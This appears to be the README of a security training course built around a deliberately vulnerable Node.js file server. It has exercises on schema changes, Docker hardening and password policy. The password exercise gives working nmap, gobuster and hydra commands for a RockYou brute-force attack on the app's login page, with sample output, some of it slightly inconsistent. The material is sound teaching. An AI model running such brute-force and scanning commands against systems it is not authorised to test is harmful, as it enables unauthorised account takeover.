Fancy FileServer
Introduction
The Fancy FileServer project is intentionally weakly designed to help developers learn about API and container security best practices by identifying and addressing common vulnerabilities.
This project is shipped with a streamlined architecture that provides a realistic foundation for learning security hardening techniques.
The application leverages Faker.js to provide realistic fake data to the server, enabling comprehensive testing scenarios.
Throughout this documentation, you'll work through hands-on tasks that cover three essential areas of modern application development:
- Feature Development: Extending the user schema with additional fields and validation
- Container Image Hardening: Securing Docker configurations and implementing least-privilege principles
- API Hardening: Strengthening authentication mechanisms and enforcing robust password policies
Each task is designed to build practical skills in identifying vulnerabilities and implementing industry-standard security measures.
Getting Started
Fork GitHub Repository
- Open the docker-js-fullstack-learning-course repository on GitHub
- Click the Fork button in the top-right corner
- Rename the repository to fancy-fileserver-solution and click Create fork
Create a Personal Access Token (PAT) for docker.hub
- Navigate to the login page docker.hub
- Log in with your existing credentials or click Sign Up to create a new Personal Account
- Locate your user avatar on the top-right and navigate to your Account Settings
- Locate Personal access tokens on the left-side navigation menu and click Generate new token
- Specify a custom description, an expiration date and give it Read, Write, Delete permissions
Configure Your GitHub Secrets and Variables
- Navigate to your forked repository on GitHub and click on Settings in the repository navigation bar
- In the left sidebar, expand Secrets and variables and click on Actions
- Use the New repository secret button to add following secrets
| Secret Name |
Description |
APIKEY_JWT_SECRET |
A secure random string used as JWT secret for API key authentication |
COOKIE_SECRET |
A secure random string for cookie encryption (at least 32 characters long) |
SYS_USER_FIRST |
Firstname for the system admin user |
SYS_USER_LAST |
Lastname for the system admin user |
SYS_USER_MAIL |
Email for the system admin user |
SYS_USER_PASS |
Password for the system admin user |
SYS_USER_USERNAME |
Username for the system admin |
TEST_USER_PASS |
Password for the test user (dev environment) |
DOCKER_PAT |
Docker Hub Personal Access Token (created in previous step) |
- Switch to the Variables tab and use New repository variable to add following variables
| Variable Name |
Description |
DOCKER_USERNAME |
Your Docker Hub username |
DOCKER_REPOSITORY |
Docker Hub repository path (e.g., yourusername/fancy-fileserver) |
TEST_USER_USERNAME |
Username for the test user (e.g., testuser) |
Instructions
Feature Development
Problem Description
Start the Fancy FileServer project as described in the
README.md file. Once started, open
a web browser and navigate to
http://localhost:3000/login
and click on the Register button to get the Registration form rendered.
Exercise
Your exercise is to capture additional demographic information by extending the User schema
to persist the sexuality of newly registered users:
- Update Handlebars frontend
- Update backend to persist "sexuality" in database
- Update test modules and functions
HINTS
The following test functions and modules have a footprint for the user registration process:
login.hbs - Add a select dropdown with options: Diverse (d), Female (f), Male (m)
users.model.js - Add the sexuality field as a required field of type enum
database.js - Update the sysadmin and testuser registration to include the sexuality field
database.js - Update the fake user seeding to include the sexuality field
.env-dev - Add SYSADMIN_SEXUALITY and TEST_USER_SEXUALITY environment variables
.env-prod - Add SYSADMIN_SEXUALITY and TEST_USER_SEXUALITY environment variables
tests/e2e/fixtures/test-users.json - Add sexuality field to all user objects
tests/e2e/helpers/test-helpers.js - Update registerUser() function
tests/e2e/api/api.e2e.tests.bats - Update POST /users tests (CREATED, CONFLICT, BAD REQUEST)
tests/e2e/gui/register-user.spec.js - Update inline registration form filling to include sexuality field selection
tests/load/helpers/test-helpers.cjs - Update createRandomUser()
tests/load/api/api-flows.yml - Add sexuality: "{{ randomUser.sexuality }}" to POST request
Container Image Hardening
Problem Description
The current Dockerfile and docker-compose.yml configurations contain several security weaknesses that could expose the application to potential vulnerabilities.
To gain a first impression of container hardening techniques, we will use
Docker Bench for Security.
This tool provides excellent awareness of container security fundamentals and common misconfigurations.
In professional production environments, security tooling is more comprehensive and typically includes:
- Dockerfile linters: Hadolint
- Image scanning tools: Trivy, Grype, Snyk
- Runtime security platforms: Falco, Sysdig
- Policy enforcement frameworks: Open Policy Agent (OPA), Kyverno
- Hardened base images: Docker Hardened Images, Distroless, Alpine
Download Docker Bench Security:
cd ~
git clone https://github.com/docker/docker-bench-security.git
cd docker-bench-security
Stop all running container:
docker stop $(docker ps -q)
Run the Docker Compose project:
docker compose --profile dev up -d
Run Docker Bench Security:
sudo sh docker-bench-security.sh -i fancy_fileserver_dev
After running the assessment, you should see the following output at the end of the log:
Section C - Score
[INFO] Checks: 117
[INFO] Score: 7
Exercise
Your goal is to improve the security score by:
- Harden the Dockerfile and Docker Compose configuration
- Configure appropriate file permissions
HINTS
The following changes can help increase your Docker Bench Security score:
Dockerfile - Harden the container image configuration by specifying a non-privileged user
docker-compose.yml - Add a healthcheck to monitor container health
docker-compose.yml - Add deploy.resources.limits for CPU (cpus: '0.50') and memory (memory: 512M)
docker-compose.yml - Add security_opt: [no-new-privileges:true] to prevent privilege escalation
docker-compose.yml - Set read_only: true and add tmpfs: [/tmp] for temporary file storage
docker-compose.yml - Add pids_limit: 100 to limit process spawning
docker-compose.yml - Create a custom bridge network (secure_network) instead of using the default bridge
- Application source code - Configure appropriate file permissions to safeguard against code injection vulnerabilities
API Hardening
Problem Description
The application currently accepts weak passwords with only 6 characters minimum.
To identify this vulnerability through network reconnaissance, use penetration testing tools
like those available in Kali Linux.
Pull the Kali Linux container from Docker Hub:
docker pull kalilinux/kali-rolling
Run the Kali container interactively:
docker run -it --network host kalilinux/kali-rolling /bin/bash
Inside the Kali container, update the APT sources nmap:
apt-get update && apt-get upgrade -y
Inside the Kali container, install following penetration testing tools:
apt-get install -y nmap gobuster wordlists dirb hydra
Tools installed:
- nmap - Network scanner for discovering hosts and services
- gobuster - Directory/file enumeration tool for web applications
- wordlists - Collection of wordlists for brute force attacks
- dirb - Web content scanner with built-in wordlists
- hydra - Network login brute force tool supporting multiple protocols
Extract the RockYou wordlist since it will later be used for brute forcing the login page::
gunzip /usr/share/wordlists/rockyou.txt.gz
On the Linux host, run following command to get the IP address of the Fancy FileServer application:
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' fancy_fileserver_dev
Inside the Kali container, discover the Fancy FileServer services:
nmap {IP_ADDRESS}
You should see the following output indicating that the application is running on port 3000:
Starting Nmap 7.80 ( https://nmap.org ) at 2024-06-01 12:00 UTC
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-06 05:57 +0000
scan report for 172.18.0.4
Host is up (0.0000030s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
3000/tcp open ppp
MAC Address: 72:7D:C9:27:4B:AB (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds
Inside the Kali container, scan for available routes and endpoints:
gobuster dir -u http://{IP_ADDRESS}:3000 -w /usr/share/wordlists/dirb/common.txt
You should see the following output showing discovered routes:
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.18.0.4:3000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
home (Status: 302) [Size: 0] [--> /login]
login (Status: 200) [Size: 6470]
logout (Status: 302) [Size: 0] [--> /login]
profile (Status: 302) [Size: 0] [--> /login]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
The scan reveals several routes, with /login returning status 200,
indicating it's directly accessible. We'll concentrate on this route to perform a brute-force attack
and test the application's password security.
Inside the Kali container, perform a brute force attack on the login route using Hydra:
hydra -l testuser5678 -P /usr/share/wordlists/rockyou.txt "http-get-form://172.18.0.4:3000/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4
You should see output showing successful password discoveries:
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-06 07:27:45
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking http-get-form://172.18.0.4:3000/login:username=^USER^&password=^PASS^:F=Invalid credentials
[3000][http-get-form] host: 172.18.0.4 login: testuser5678 password: {PASSWORD}
1 of 1 target successfully completed, 4 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-02-06 07:27:47
Exercise
Your goal is to enforce strong password requirements by:
- Implement frontend password validation
- Implement backend password validation
HINTS
login.hbs - Implement password validation for the registration process
package.json - Integrate validator NPM library
users.model.js - Implement strong password validation using the isStrongPassword() method from the validator library
users.model.js - Add validate: { validator: isStrongPassword } to the password field in users.model.js